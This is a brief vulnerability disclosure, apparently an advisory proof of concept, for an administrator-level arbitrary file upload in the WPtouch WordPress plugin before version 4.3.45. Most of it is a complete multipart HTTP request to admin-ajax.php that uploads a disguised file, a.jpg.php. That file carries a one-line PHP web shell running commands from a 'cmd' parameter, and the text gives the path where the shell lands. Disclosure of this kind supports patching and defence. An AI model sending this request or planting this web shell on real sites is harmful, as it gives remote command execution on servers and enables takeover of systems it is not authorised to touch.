WPtouch < 4.3.45 - Admin+ Arbitrary File Upload

Proof of Concept

Go the WPTouch > Settings > Menu Settings, enable the "Use Menu icons" option and upload a PHP file named a.jpg.php via the Custom Icons feature (at the bottom of the page)

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------10582074854247733003495751577
Content-Length: 653
Cookie: [Admin+]

-----------------------------10582074854247733003495751577
Content-Disposition: form-data; name="action"

upload_file
-----------------------------10582074854247733003495751577
Content-Disposition: form-data; name="file_type"

custom_image
-----------------------------10582074854247733003495751577
Content-Disposition: form-data; name="wp_nonce"

648bdee02a
-----------------------------10582074854247733003495751577
Content-Disposition: form-data; name="myfile"; filename="a.jpg.php"
Content-Type: application/octet-stream

<?php echo "PHP Shell";system($_GET['cmd']); ?>
-----------------------------10582074854247733003495751577--


The file will be at https://example.com/wp-content/wptouch-data/1/icons/custom/a.jpg.php